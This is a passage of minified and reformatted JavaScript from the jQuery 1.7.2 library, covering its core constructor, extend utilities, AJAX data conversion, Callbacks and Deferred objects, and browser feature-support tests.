- J0 = "mark",
- R0 = "queue",
- X0 = "tbody",
- l1 = "option",
- X = "radio",
- I0 = "checkbox",
- j0 = "script",
- U = "input",
- e0 = "div",
- z0 = "px",
- L = "Width",
- Z0 = "margin",
- a1 = "padding",
- Y0 = "border",
- k0 = "width",
- S = "object",
- C = " ",
- M = "*",
- E = "string",
- K0 = "none",
- m1 = "display";
- function b2(b) {
- return g.isWindow(b) ? b: b.nodeType === 9 ? b.defaultView || b.parentWindow: !1
- }
- function a2(b) {
- if (!X1[b]) {
- var c = x.body,
- d = g("<" + b + ">").appendTo(c),
- e = d.css(m1);
- d.remove();
- if (e === K0 || e === "") {
- C0 || (C0 = x.createElement("iframe"), C0.frameBorder = C0.width = C0.height = 0),
- c.appendChild(C0);
- if (!t1 || !C0.createElement)
- t1 = (C0.contentWindow || C0.contentDocument).document,
- t1.write((g.support.boxModel ? "<!doctype html>": "") + "<html><body>"),
- t1.close();
- d = t1.createElement(b),
- t1.body.appendChild(d),
- e = g.css(d, m1),
- c.removeChild(C0)
- }
- X1[b] = e
- }
- return X1[b]
- }
- function n1(b, c) {
- var d = {};
- g.each(J1.concat.apply([], J1.slice(0, c)), function() {
- d[this] = b
- });
- return d
- }
- function Q2() {
- K1 = v
- }
- function Z1() {
- setTimeout(Q2, 0);
- return K1 = g.now()
- }
- function P2() {
- try {
- return new F.ActiveXObject("Microsoft.XMLHTTP")
- } catch(b) {}
- }
- function Y1() {
- try {
- return new F.XMLHttpRequest
- } catch(b) {}
- }
- function O2(b, c) {
- b.dataFilter && (c = b.dataFilter(c, b.dataType));
- var d = b.dataTypes,
- e = {},
- f,
- h,
- i = d.length,
- j,
- k = d[0],
- l,
- m,
- n,
- q,
- t;
- for (f = 1; f < i; f++) {
- if (f === 1)
- for (h in b.converters)
- typeof h == E && (e[h.toLowerCase()] = b.converters[h]);
- l = k,
- k = d[f];
- if (k === M)
- k = l;
- else if (l !== M && l !== k) {
- m = l + C + k,
- n = e[m] || e["* " + k];
- if (!n) {
- t = v;
- for (q in e) {
- j = q.split(C);
- if (j[0] === l || j[0] === M) {
- t = e[j[1] + C + k];
- if (t) {
- q = e[q],
- q === !0 ? n = t: t === !0 && (n = q);
- break
- }
- }
- }
- } ! n && !t && g.error("No conversion from " + m.replace(C, " to ")),
- n !== !0 && (c = n ? n(c) : t(q(c)))
- }
- }
- return c
- }
- function S2(b, c, d) {
- var e = b.contents,
- f = b.dataTypes,
- h = b.responseFields,
- i,
- j,
- k,
- l;
- for (j in h)
- j in d && (c[h[j]] = d[j]);
- while (f[0] === M)
- f.shift(),
- i === v && (i = b.mimeType || c.getResponseHeader("content-type"));
- if (i)
- for (j in e)
- if (e[j] && e[j].test(i)) {
- f.unshift(j);
- break
- }
- if (f[0] in d)
- k = f[0];
- else {
- for (j in d) {
- if (!f[0] || b.converters[j + C + f[0]]) {
- k = j;
- break
- }
- l || (l = j)
- }
- k = k || l
- }
- if (k) {
- k !== f[0] && f.unshift(k);
- return d[k]
- }
- }
- function M1(d, e, f, h) {
- if (g.isArray(e))
- g.each(e, function(b, c) {
- f || F3.test(d) ? h(d, c) : M1(d + "[" + (typeof c == S ? b: "") + "]", c, f, h)
- });
- else if (!f && g.type(e) === S)
- for (var i in e)
- M1(d + "[" + i + "]", e[i], f, h);
- else
- h(d, e)
- }
- function i2(b, c) {
- var d,
- e,
- f = g.ajaxSettings.flatOptions || {};
- for (d in c)
- c[d] !== v && ((f[d] ? b: e || (e = {}))[d] = c[d]);
- e && g.extend(!0, b, e)
- }
- function F1(b, c, d, e, f, h) {
- f = f || c.dataTypes[0],
- h = h || {},
- h[f] = !0;
- var i = b[f],
- j = 0,
- k = i ? i.length: 0,
- l = b === V1,
- m;
- for (; j < k && (l || !m); j++)
- m = i[j](c, d, e),
- typeof m == E && (!l || h[m] ? m = v: (c.dataTypes.unshift(m), m = F1(b, c, d, e, m, h))); (l || !m) && !h[M] && (m = F1(b, c, d, e, M, h));
- return m
- }
- function j2(k) {
- return function(b, c) {
- typeof b != E && (c = b, b = M);
- if (g.isFunction(c)) {
- var d = b.toLowerCase().split(M2),
- e = 0,
- f = d.length,
- h,
- i,
- j;
- for (; e < f; e++)
- h = d[e],
- j = /^\+/.test(h),
- j && (h = h.substr(1) || M),
- i = k[h] = k[h] || [],
- i[j ? "unshift": "push"](c)
- }
- }
- }
- function k2(b, c, d) {
- var e = c === k0 ? b.offsetWidth: b.offsetHeight,
- f = c === k0 ? 1: 0,
- h = 4;
- if (e > 0) {
- if (d !== Y0)
- for (; f < h; f += 2)
- d || (e -= parseFloat(g.css(b, a1 + b1[f])) || 0),
- d === Z0 ? e += parseFloat(g.css(b, d + b1[f])) || 0: e -= parseFloat(g.css(b, Y0 + b1[f] + L)) || 0;
- return e + z0
- }
- e = r1(b, c);
- if (e < 0 || e == A0)
- e = b.style[c];
- if (R1.test(e))
- return e;
- e = parseFloat(e) || 0;
- if (d)
- for (; f < h; f += 2)
- e += parseFloat(g.css(b, a1 + b1[f])) || 0,
- d !== a1 && (e += parseFloat(g.css(b, Y0 + b1[f] + L)) || 0),
- d === Z0 && (e += parseFloat(g.css(b, d + b1[f])) || 0);
- return e + z0
- }
- function T2(b) {
- var c = x.createElement(e0);
- S1.appendChild(c),
- c.innerHTML = b.outerHTML;
- return c.firstChild
- }
- function d2(b) {
- var c = (b.nodeName || "").toLowerCase();
- c === U ? c2(b) : c !== j0 && typeof b.getElementsByTagName != d0 && g.grep(b.getElementsByTagName(U), c2)
- }
- function c2(b) {
- if (b.type === I0 || b.type === X)
- b.defaultChecked = b.checked
- }
- function E1(b) {
- return typeof b.getElementsByTagName != d0 ? b.getElementsByTagName(M) : typeof b.querySelectorAll != d0 ? b.querySelectorAll(M) : []
- }
- function e2(b, c) {
- var d;
- c.nodeType === 1 && (c.clearAttributes && c.clearAttributes(), c.mergeAttributes && c.mergeAttributes(b), d = c.nodeName.toLowerCase(), d === S ? c.outerHTML = b.outerHTML: d !== U || b.type !== I0 && b.type !== X ? d === l1 ? c.selected = b.defaultSelected: d === U || d === "textarea" ? c.defaultValue = b.defaultValue: d === j0 && c.text !== b.text && (c.text = b.text) : (b.checked && (c.defaultChecked = c.checked = b.checked), c.value !== b.value && (c.value = b.value)), c.removeAttribute(g.expando), c.removeAttribute("_submit_attached"), c.removeAttribute("_change_attached"))
- }
- function f2(b, c) {
- if (c.nodeType === 1 && !!g.hasData(b)) {
- var d,
- e,
- f,
- h = g._data(b),
- i = g._data(c, h),
- j = h.events;
- if (j) {
- delete i.handle,
- i.events = {};
- for (d in j)
- for (e = 0, f = j[d].length; e < f; e++)
- g.event.add(c, d, j[d][e])
- }
- i.data && (i.data = g.extend({}, i.data))
- }
- }
- function R2(b, c) {
- return g.nodeName(b, "table") ? b.getElementsByTagName(X0)[0] || b.appendChild(b.ownerDocument.createElement(X0)) : b
- }
- function h2(b) {
- var c = w2.split("|"),
- d = b.createDocumentFragment();
- if (d.createElement)
- while (c.length)
- d.createElement(c.pop());
- return d
- }
- function g2(e, f, h) {
- f = f || 0;
- if (g.isFunction(f))
- return g.grep(e, function(b, c) {
- var d = !!f.call(b, c, b);
- return d === h
- });
- if (f.nodeType)
- return g.grep(e, function(b, c) {
- return b === f === h
- });
- if (typeof f == E) {
- var i = g.grep(e, function(b) {
- return b.nodeType === 1
- });
- if (n3.test(f))
- return g.filter(f, i, !h);
- f = g.filter(f, i)
- }
- return g.grep(e, function(b, c) {
- return g.inArray(b, f) >= 0 === h
- })
- }
- function n2(b) {
- return ! b || !b.parentNode || b.parentNode.nodeType === 11
- }
- function G1() {
- return ! 0
- }
- function q1() {
- return ! 1
- }
- function o2(b, c, d) {
- var e = c + "defer",
- f = c + R0,
- h = c + J0,
- i = g._data(b, e);
- i && (d === R0 || !g._data(b, f)) && (d === J0 || !g._data(b, h)) && setTimeout(function() { ! g._data(b, f) && !g._data(b, h) && (g.removeData(b, e, !0), i.fire())
- }, 0)
- }
- function O1(b) {
- for (var c in b) {
- if (c === "data" && g.isEmptyObject(b[c]))
- continue;
- if (c !== "toJSON")
- return ! 1
- }
- return ! 0
- }
- function p2(c, d, e) {
- if (e === v && c.nodeType === 1) {
- var f = "data-" + d.replace(X2, "-$1").toLowerCase();
- e = c.getAttribute(f);
- if (typeof e == E) {
- try {
- e = e === "true" ? !0: e === b0 ? !1: e === "null" ? A0: g.isNumeric(e) ? +e: W2.test(e) ? g.parseJSON(e) : e
- } catch(b) {}
- g.data(c, d, e)
- } else
- e = v
- }
- return e
- }
- function Y2(b) {
- var c = l2[b] = {},
- d,
- e;
- b = b.split(/\s+/);
- for (d = 0, e = b.length; d < e; d++)
- c[b[d]] = !0;
- return c
- }
- var x = F.document,
- U2 = F.navigator,
- V2 = F.location,
- g = function() {
- var r = "onreadystatechange",
- o = "DOMContentLoaded";
- function w() {
- if (!p.isReady) {
- try {
- x.documentElement.doScroll("left")
- } catch(b) {
- setTimeout(w, 1);
- return
- }
- p.ready()
- }
- }
- var p = function(b, c) {
- return new p.fn.init(b, c, I)
- },
- B = F.jQuery,
- G = F.$,
- I,
- A = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
- T = /\S/,
- W = /^\s+/,
- Y = /\s+$/,
- J = /^<(\w+)\s*\/?>(?:<\/\1>)?$/,
- z = /^[\],:{}\s]*$/,
- V = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
- D = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
- K = /(?:^|:|,)(?:\s*\[)+/g,
- y = /(webkit)[ \/]([\w.]+)/,
- a0 = /(opera)(?:.*version)?[ \/]([\w.]+)/,
- u = /(msie) ([\w.]+)/,
- o0 = /(mozilla)(?:.*? rv:([\w.]+))?/,
- p0 = /-([a-z]|[0-9])/ig,
- Q = /^-ms-/,
- P = function(b, c) {
- return (c + "").toUpperCase()
- },
- l0 = U2.userAgent,
- R,
- r0,
- q0,
- B1 = Object.prototype.toString,
- f1 = Object.prototype.hasOwnProperty,
- g1 = Array.prototype.push,
- M0 = Array.prototype.slice,
- e1 = String.prototype.trim,
- h1 = Array.prototype.indexOf,
- u1 = {};
- p.fn = p.prototype = {
- constructor: p,
- init: function(b, c, d) {
- var e,
- f,
- h,
- i;
- if (!b)
- return this;
- if (b.nodeType) {
- this.context = this[0] = b,
- this.length = 1;
- return this
- }
- if (b === y0 && !c && x.body) {
- this.context = x,
- this[0] = x.body,
- this.selector = b,
- this.length = 1;
- return this
- }
- if (typeof b == E) {
- b.charAt(0) !== "<" || b.charAt(b.length - 1) !== ">" || b.length < 3 ? e = A.exec(b) : e = [A0, b, A0];
- if (e && (e[1] || !c)) {
- if (e[1]) {
- c = c instanceof p ? c[0] : c,
- i = c ? c.ownerDocument || c: x,
- h = J.exec(b),
- h ? p.isPlainObject(c) ? (b = [x.createElement(h[1])], p.fn.attr.call(b, c, !0)) : b = [i.createElement(h[1])] : (h = p.buildFragment([e[1]], [i]), b = (h.cacheable ? p.clone(h.fragment) : h.fragment).childNodes);
- return p.merge(this, b)
- }
- f = x.getElementById(e[2]);
- if (f && f.parentNode) {
- if (f.id !== e[2])
- return d.find(b);
- this.length = 1,
- this[0] = f
- }
- this.context = x,
- this.selector = b;
- return this
- }
- return ! c || c.jquery ? (c || d).find(b) : this.constructor(c).find(b)
- }
- if (p.isFunction(b))
- return d.ready(b);
- b.selector !== v && (this.selector = b.selector, this.context = b.context);
- return p.makeArray(b, this)
- },
- selector: "",
- jquery: "1.7.2",
- length: 0,
- size: function() {
- return this.length
- },
- toArray: function() {
- return M0.call(this, 0)
- },
- get: function(b) {
- return b == A0 ? this.toArray() : b < 0 ? this[this.length + b] : this[b]
- },
- pushStack: function(b, c, d) {
- var e = this.constructor();
- p.isArray(b) ? g1.apply(e, b) : p.merge(e, b),
- e.prevObject = this,
- e.context = this.context,
- c === "find" ? e.selector = this.selector + (this.selector ? C: "") + d: c && (e.selector = this.selector + N + c + "(" + d + ")");
- return e
- },
- each: function(b, c) {
- return p.each(this, b, c)
- },
- ready: function(b) {
- p.bindReady(),
- r0.add(b);
- return this
- },
- eq: function(b) {
- b = +b;
- return b === -1 ? this.slice(b) : this.slice(b, b + 1)
- },
- first: function() {
- return this.eq(0)
- },
- last: function() {
- return this.eq( - 1)
- },
- slice: function() {
- return this.pushStack(M0.apply(this, arguments), "slice", M0.call(arguments).join(","))
- },
- map: function(d) {
- return this.pushStack(p.map(this, function(b, c) {
- return d.call(b, c, b)
- }))
- },
- end: function() {
- return this.prevObject || this.constructor(A0)
- },
- push: g1,
- sort: [].sort,
- splice: [].splice
- },
- p.fn.init.prototype = p.fn,
- p.extend = p.fn.extend = function() {
- var b,
- c,
- d,
- e,
- f,
- h,
- i = arguments[0] || {},
- j = 1,
- k = arguments.length,
- l = !1;
- typeof i == h0 && (l = i, i = arguments[1] || {}, j = 2),
- typeof i != S && !p.isFunction(i) && (i = {}),
- k === j && (i = this, --j);
- for (; j < k; j++)
- if ((b = arguments[j]) != A0)
- for (c in b) {
- d = i[c],
- e = b[c];
- if (i === e)
- continue;
- l && e && (p.isPlainObject(e) || (f = p.isArray(e))) ? (f ? (f = !1, h = d && p.isArray(d) ? d: []) : h = d && p.isPlainObject(d) ? d: {}, i[c] = p.extend(l, h, e)) : e !== v && (i[c] = e)
- }
- return i
- },
- p.extend({
- noConflict: function(b) {
- F.$ === p && (F.$ = G),
- b && F.jQuery === p && (F.jQuery = B);
- return p
- },
- isReady: !1,
- readyWait: 1,
- holdReady: function(b) {
- b ? p.readyWait++:p.ready(!0)
- },
- ready: function(b) {
- if (b === !0 && !--p.readyWait || b !== !0 && !p.isReady) {
- if (!x.body)
- return setTimeout(p.ready, 1);
- p.isReady = !0;
- if (b !== !0 && --p.readyWait > 0)
- return;
- r0.fireWith(x, [p]),
- p.fn.trigger && p(x).trigger("ready").off("ready")
- }
- },
- bindReady: function() {
- if (!r0) {
- r0 = p.Callbacks(W0);
- if (x.readyState === "complete")
- return setTimeout(p.ready, 1);
- if (x.addEventListener)
- x.addEventListener(o, q0, !1),
- F.addEventListener("load", p.ready, !1);
- else if (x.attachEvent) {
- x.attachEvent(r, q0),
- F.attachEvent("onload", p.ready);
- var c = !1;
- try {
- c = F.frameElement == A0
- } catch(b) {}
- x.documentElement.doScroll && c && w()
- }
- }
- },
- isFunction: function(b) {
- return p.type(b) === O
- },
- isArray: Array.isArray || function(b) {
- return p.type(b) === "array"
- },
- isWindow: function(b) {
- return b != A0 && b == b.window
- },
- isNumeric: function(b) {
- return ! isNaN(parseFloat(b)) && isFinite(b)
- },
- type: function(b) {
- return b == A0 ? String(b) : u1[B1.call(b)] || S
- },
- isPlainObject: function(c) {
- if (!c || p.type(c) !== S || c.nodeType || p.isWindow(c))
- return ! 1;
- try {
- if (c.constructor && !f1.call(c, "constructor") && !f1.call(c.constructor.prototype, "isPrototypeOf"))
- return ! 1
- } catch(b) {
- return ! 1
- }
- var d;
- for (d in c);
- return d === v || f1.call(c, d)
- },
- isEmptyObject: function(b) {
- for (var c in b)
- return ! 1;
- return ! 0
- },
- error: function(b) {
- throw new Error(b)
- },
- parseJSON: function(b) {
- if (typeof b != E || !b)
- return A0;
- b = p.trim(b);
- if (F.JSON && F.JSON.parse)
- return F.JSON.parse(b);
- if (z.test(b.replace(V, "@").replace(D, "]").replace(K, "")))
- return (new Function("return " + b))();
- p.error("Invalid JSON: " + b)
- },
- parseXML: function(c) {
- if (typeof c != E || !c)
- return A0;
- var d,
- e;
- try {
- F.DOMParser ? (e = new DOMParser, d = e.parseFromString(c, "text/xml")) : (d = new ActiveXObject("Microsoft.XMLDOM"), d.async = b0, d.loadXML(c))
- } catch(b) {
- d = v
- } (!d || !d.documentElement || d.getElementsByTagName(H0).length) && p.error("Invalid XML: " + c);
- return d
- },
- noop: function() {},
- globalEval: function(c) {
- c && T.test(c) && (F.execScript || function(b) {
- F.eval.call(F, b)
- })(c)
- },
- camelCase: function(b) {
- return b.replace(Q, "ms-").replace(p0, P)
- },
- nodeName: function(b, c) {
- return b.nodeName && b.nodeName.toUpperCase() === c.toUpperCase()
- },
- each: function(b, c, d) {
- var e,
- f = 0,
- h = b.length,
- i = h === v || p.isFunction(b);
- if (d) {
- if (i) {
- for (e in b)
- if (c.apply(b[e], d) === !1)
- break
- } else
- for (; f < h;)
- if (c.apply(b[f++], d) === !1)
- break
- } else if (i) {
- for (e in b)
- if (c.call(b[e], e, b[e]) === !1)
- break
- } else
- for (; f < h;)
- if (c.call(b[f], f, b[f++]) === !1)
- break;
- return b
- },
- trim: e1 ? function(b) {
- return b == A0 ? "": e1.call(b)
- }: function(b) {
- return b == A0 ? "": (b + "").replace(W, "").replace(Y, "")
- },
- makeArray: function(b, c) {
- var d = c || [];
- if (b != A0) {
- var e = p.type(b);
- b.length == A0 || e === E || e === O || e === "regexp" || p.isWindow(b) ? g1.call(d, b) : p.merge(d, b)
- }
- return d
- },
- inArray: function(b, c, d) {
- var e;
- if (c) {
- if (h1)
- return h1.call(c, b, d);
- e = c.length,
- d = d ? d < 0 ? Math.max(0, e + d) : d: 0;
- for (; d < e; d++)
- if (d in c && c[d] === b)
- return d
- }
- return - 1
- },
- merge: function(b, c) {
- var d = b.length,
- e = 0;
- if (typeof c.length == p1)
- for (var f = c.length; e < f; e++)
- b[d++] = c[e];
- else
- while (c[e] !== v)
- b[d++] = c[e++];
- b.length = d;
- return b
- },
- grep: function(b, c, d) {
- var e = [],
- f;
- d = !!d;
- for (var h = 0, i = b.length; h < i; h++)
- f = !!c(b[h], h),
- d !== f && e.push(b[h]);
- return e
- },
- map: function(b, c, d) {
- var e,
- f,
- h = [],
- i = 0,
- j = b.length,
- k = b instanceof p || j !== v && typeof j == p1 && (j > 0 && b[0] && b[j - 1] || j === 0 || p.isArray(b));
- if (k)
- for (; i < j; i++)
- e = c(b[i], i, d),
- e != A0 && (h[h.length] = e);
- else
- for (f in b)
- e = c(b[f], f, d),
- e != A0 && (h[h.length] = e);
- return h.concat.apply([], h)
- },
- guid: 1,
- proxy: function(b, c) {
- if (typeof c == E) {
- var d = b[c];
- c = b,
- b = d
- }
- if (!p.isFunction(b))
- return v;
- var e = M0.call(arguments, 2),
- f = function() {
- return b.apply(c, e.concat(M0.call(arguments)))
- };
- f.guid = b.guid = b.guid || f.guid || p.guid++;
- return f
- },
- access: function(e, f, h, i, j, k, l) {
- var m,
- n = h == A0,
- q = 0,
- t = e.length;
- if (h && typeof h == S) {
- for (q in h)
- p.access(e, f, q, h[q], 1, k, i);
- j = 1
- } else if (i !== v) {
- m = l === v && p.isFunction(i),
- n && (m ? (m = f, f = function(b, c, d) {
- return m.call(p(b), d)
- }) : (f.call(e, i), f = A0));
- if (f)
- for (; q < t; q++)
- f(e[q], h, m ? i.call(e[q], q, f(e[q], h)) : i, l);
- j = 1
- }
- return j ? e: n ? f.call(e) : t ? f(e[0], h) : k
- },
- now: function() {
- return (new Date).getTime()
- },
- uaMatch: function(b) {
- b = b.toLowerCase();
- var c = y.exec(b) || a0.exec(b) || u.exec(b) || b.indexOf("compatible") < 0 && o0.exec(b) || [];
- return {
- browser: c[1] || "",
- version: c[2] || "0"
- }
- },
- sub: function() {
- function d(b, c) {
- return new d.fn.init(b, c)
- }
- p.extend(!0, d, this),
- d.superclass = this,
- d.fn = d.prototype = this(),
- d.fn.constructor = d,
- d.sub = this.sub,
- d.fn.init = function(b, c) {
- c && c instanceof p && !(c instanceof d) && (c = d(c));
- return p.fn.init.call(this, b, c, e)
- },
- d.fn.init.prototype = d.fn;
- var e = d(x);
- return d
- },
- browser: {}
- }),
- p.each("Boolean Number String Function Array Date RegExp Object".split(C), function(b, c) {
- u1["[object " + c + "]"] = c.toLowerCase()
- }),
- R = p.uaMatch(l0),
- R.browser && (p.browser[R.browser] = !0, p.browser.version = R.version),
- p.browser.webkit && (p.browser.safari = !0),
- T.test(C) && (W = /^[\s\xA0]+/, Y = /[\s\xA0]+$/),
- I = p(x),
- x.addEventListener ? q0 = function() {
- x.removeEventListener(o, q0, !1),
- p.ready()
- }: x.attachEvent && (q0 = function() {
- x.readyState === "complete" && (x.detachEvent(r, q0), p.ready())
- });
- return p
- } (),
- l2 = {};
- g.Callbacks = function(i) {
- i = i ? l2[i] || Y2(i) : {};
- var j = [],
- k = [],
- l,
- m,
- n,
- q,
- t,
- r,
- o = function(b) {
- var c,
- d,
- e,
- f,
- h;
- for (c = 0, d = b.length; c < d; c++)
- e = b[c],
- f = g.type(e),
- f === "array" ? o(e) : f === O && (!i.unique || !p.has(e)) && j.push(e)
- },
- w = function(b, c) {
- c = c || [],
- l = !i.memory || [b, c],
- m = !0,
- n = !0,
- r = q || 0,
- q = 0,
- t = j.length;
- for (; j && r < t; r++)
- if (j[r].apply(b, c) === !1 && i.stopOnFalse) {
- l = !0;
- break
- }
- n = !1,
- j && (i.once ? l === !0 ? p.disable() : j = [] : k && k.length && (l = k.shift(), p.fireWith(l[0], l[1])))
- },
- p = {
- add: function() {
- if (j) {
- var b = j.length;
- o(arguments),
- n ? t = j.length: l && l !== !0 && (q = b, w(l[0], l[1]))
- }
- return this
- },
- remove: function() {
- if (j) {
- var b = arguments,
- c = 0,
- d = b.length;
- for (; c < d; c++)
- for (var e = 0; e < j.length; e++)
- if (b[c] === j[e]) {
- n && e <= t && (t--, e <= r && r--),
- j.splice(e--, 1);
- if (i.unique)
- break
- }
- }
- return this
- },
- has: function(b) {
- if (j) {
- var c = 0,
- d = j.length;
- for (; c < d; c++)
- if (b === j[c])
- return ! 0
- }
- return ! 1
- },
- empty: function() {
- j = [];
- return this
- },
- disable: function() {
- j = k = l = v;
- return this
- },
- disabled: function() {
- return ! j
- },
- lock: function() {
- k = v,
- (!l || l === !0) && p.disable();
- return this
- },
- locked: function() {
- return ! k
- },
- fireWith: function(b, c) {
- k && (n ? i.once || k.push([b, c]) : (!i.once || !l) && w(b, c));
- return this
- },
- fire: function() {
- p.fireWith(this, arguments);
- return this
- },
- fired: function() {
- return !! m
- }
- };
- return p
- };
- var N1 = [].slice;
- g.extend({
- Deferred: function(l) {
- var m = g.Callbacks(W0),
- n = g.Callbacks(W0),
- q = g.Callbacks("memory"),
- t = "pending",
- r = {
- resolve: m,
- reject: n,
- notify: q
- },
- o = {
- done: m.add,
- fail: n.add,
- progress: q.add,
- state: function() {
- return t
- },
- isResolved: m.fired,
- isRejected: n.fired,
- then: function(b, c, d) {
- w.done(b).fail(c).progress(d);
- return this
- },
- always: function() {
- w.done.apply(w, arguments).fail.apply(w, arguments);
- return this
- },
- pipe: function(i, j, k) {
- return g.Deferred(function(h) {
- g.each({
- done: [i, "resolve"],
- fail: [j, "reject"],
- progress: [k, "notify"]
- }, function(b, c) {
- var d = c[0],
- e = c[1],
- f;
- g.isFunction(d) ? w[b](function() {
- f = d.apply(this, arguments),
- f && g.isFunction(f.promise) ? f.promise().then(h.resolve, h.reject, h.notify) : h[e + "With"](this === w ? h: this, [f])
- }) : w[b](h[e])
- })
- }).promise()
- },
- promise: function(b) {
- if (b == A0)
- b = o;
- else
- for (var c in o)
- b[c] = o[c];
- return b
- }
- },
- w = o.promise({}),
- p;
- for (p in r)
- w[p] = r[p].fire,
- w[p + "With"] = r[p].fireWith;
- w.done(function() {
- t = "resolved"
- }, n.disable, q.lock).fail(function() {
- t = "rejected"
- }, m.disable, q.lock),
- l && l.call(w, w);
- return w
- },
- when: function(d) {
- function e(c) {
- return function(b) {
- k[c] = arguments.length > 1 ? N1.call(arguments, 0) : b,
- n.notifyWith(q, k)
- }
- }
- function f(c) {
- return function(b) {
- h[c] = arguments.length > 1 ? N1.call(arguments, 0) : b,
- --l || n.resolveWith(n, h)
- }
- }
- var h = N1.call(arguments, 0),
- i = 0,
- j = h.length,
- k = Array(j),
- l = j,
- m = j,
- n = j <= 1 && d && g.isFunction(d.promise) ? d: g.Deferred(),
- q = n.promise();
- if (j > 1) {
- for (; i < j; i++)
- h[i] && h[i].promise && g.isFunction(h[i].promise) ? h[i].promise().then(f(i), n.reject, e(i)) : --l;
- l || n.resolveWith(n, h)
- } else
- n !== d && n.resolveWith(n, j ? [d] : []);
- return q
- }
- }),
- g.support = function() {
- var r,
- o,
- w,
- p,
- B,
- G,
- I,
- A,
- T,
- W,
- Y,
- J,
- z = x.createElement(e0),
- V = x.documentElement;
- z.setAttribute(i0, "t"),
- z.innerHTML = " <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",
- o = z.getElementsByTagName(M),
- w = z.getElementsByTagName("a")[0];
- if (!o || !o.length || !w)
- return {};
- p = x.createElement("select"),
- B = p.appendChild(x.createElement(l1)),
- G = z.getElementsByTagName(U)[0],
- r = {
- leadingWhitespace: z.firstChild.nodeType === 3,
- tbody: !z.getElementsByTagName(X0).length,
- htmlSerialize: !!z.getElementsByTagName("link").length,
- style: /top/.test(w.getAttribute("style")),
- hrefNormalized: w.getAttribute(Q0) === "/a",
- opacity: /^0.55/.test(w.style.opacity),
- cssFloat: !!w.style.cssFloat,
- checkOn: G.value === G0,
- optSelected: B.selected,
- getSetAttribute: z.className !== "t",
- enctype: !!x.createElement("form").enctype,
- html5Clone: x.createElement("nav").cloneNode(!0).outerHTML !== "<:nav></:nav>",
- submitBubbles: !0,
- changeBubbles: !0,
- focusinBubbles: !1,
- deleteExpando: !0,
- noCloneEvent: !0,
- inlineBlockNeedsLayout: !1,
- shrinkWrapBlocks: !1,
- reliableMarginRight: !0,
- pixelMargin: !0
- },
- g.boxModel = r.boxModel = x.compatMode === "CSS1Compat",
- G.checked = !0,
- r.noCloneChecked = G.cloneNode(!0).checked,
- p.disabled = !0,
- r.optDisabled = !B.disabled;
- try {
- delete z.test
- } catch(b) {
- r.deleteExpando = !1
- } ! z.addEventListener && z.attachEvent && z.fireEvent && (z.attachEvent("onclick", function() {
- r.noCloneEvent = !1
- }), z.cloneNode(!0).fireEvent("onclick")),
- G = x.createElement(U),
- G.value = "t",
- G.setAttribute(A1, X),
- r.radioValue = G.value === "t",
- G.setAttribute(z1, z1),
- G.setAttribute("name", "t"),
- z.appendChild(G),
- I = x.createDocumentFragment(),
- I.appendChild(z.lastChild),
- r.checkClone = I.cloneNode(!0).cloneNode(!0).lastChild.checked,
- r.appendChecked = G.checked,
- I.removeChild(G),
- I.appendChild(z);
- if (z.attachEvent)
- for (Y in {
- submit: 1,
- change: 1,
- focusin: 1
- })
- W = G0 + Y,
- J = W in z,
- J || (z.setAttribute(W, "return;"), J = typeof z[W] == O),
- r[Y + "Bubbles"] = J;
- I.removeChild(z),
- I = p = B = z = G = A0,
- g(function() {
- var b,
- c,
- d,
- e,
- f,
- h,
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t = x.getElementsByTagName(y0)[0]; ! t || (j = 1, q = "padding:0;margin:0;border:", m = "position:absolute;top:0;left:0;width:1px;height:1px;", n = q + "0;visibility:hidden;", k = "style='" + m + q + "5px solid #000;", l = "<div " + k + "display:block;'><div style='" + q + "0;display:block;overflow:hidden;'></div></div>" + "<table " + k + "' cellpadding='0' cellspacing='0'>" + "<tr><td></td></tr></table>", b = x.createElement(e0), b.style.cssText = n + "width:0;height:0;position:static;top:0;margin-top:" + j + z0, t.insertBefore(b, t.firstChild), z = x.createElement(e0), b.appendChild(z), z.innerHTML = "<table><tr><td style='" + q + "0;display:none'></td><td>t</td></tr></table>", A = z.getElementsByTagName("td"), J = A[0].offsetHeight === 0, A[0].style.display = "", A[1].style.display = K0, r.reliableHiddenOffsets = J && A[0].offsetHeight === 0, F.getComputedStyle && (z.innerHTML = "", i = x.createElement(e0), i.style.width = "0", i.style.marginRight = "0", z.style.width = "2px", z.appendChild(i), r.reliableMarginRight = (parseInt((F.getComputedStyle(i, A0) || {
- marginRight: 0
- }).marginRight, 10) || 0) === 0), typeof z.style.zoom != d0 && (z.innerHTML = "", z.style.width = z.style.padding = "1px", z.style.border = 0, z.style.overflow = w0, z.style.display = x0, z.style.zoom = 1, r.inlineBlockNeedsLayout = z.offsetWidth === 3, z.style.display = "block", z.style.overflow = "visible", z.innerHTML = "<div style='width:5px;'></div>", r.shrinkWrapBlocks = z.offsetWidth !== 3), z.style.cssText = m + n, z.innerHTML = l, c = z.firstChild, d = c.firstChild, f = c.nextSibling.firstChild.firstChild, h = {
- doesNotAddBorder: d.offsetTop !== 5,
- doesAddBorderForTableAndCells: f.offsetTop === 5
- }, d.style.position = P0, d.style.top = "20px", h.fixedPosition = d.offsetTop === 20 || d.offsetTop === 15, d.style.position = d.style.top = "", c.style.overflow = w0, c.style.position = N0, h.subtractsBorderForOverflowNotVisible = d.offsetTop === -5, h.doesNotIncludeMarginInBodyOffset = t.offsetTop !== j, F.getComputedStyle && (z.style.marginTop = "1%", r.pixelMargin = (F.getComputedStyle(z, A0) || {
- marginTop: 0
- }).marginTop !== "1%"), typeof b.style.zoom != d0 && (b.style.zoom = 1), t.removeChild(b), i = z = b = A0, g.extend(r, h))
- });
- return r
- } ();
- var W2 = /^(?:\{.*\}|\[.*\])$/,
- X2 = /([A-Z])/g;
- g.extend({
- cache: {},
- uuid: 0,
- expando: "jQuery" + (g.fn.jquery + Math.random()).replace(/\D/g, ""),
- noData: {
- embed: !0,
- object: "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
- applet: !0
- },
- hasData: function(b) {
- b = b.nodeType ? g.cache[b[g.expando]] : b[g.expando];
- return !! b && !O1(b)
- },
- data: function(b, c, d, e) {
- if ( !! g.acceptData(b)) {
- var f,
- h,
- i,
- j = g.expando,
- k = typeof c == E,
- l = b.nodeType,
- m = l ? g.cache: b,
- n = l ? b[j] : b[j] && j,
- q = c === O0;
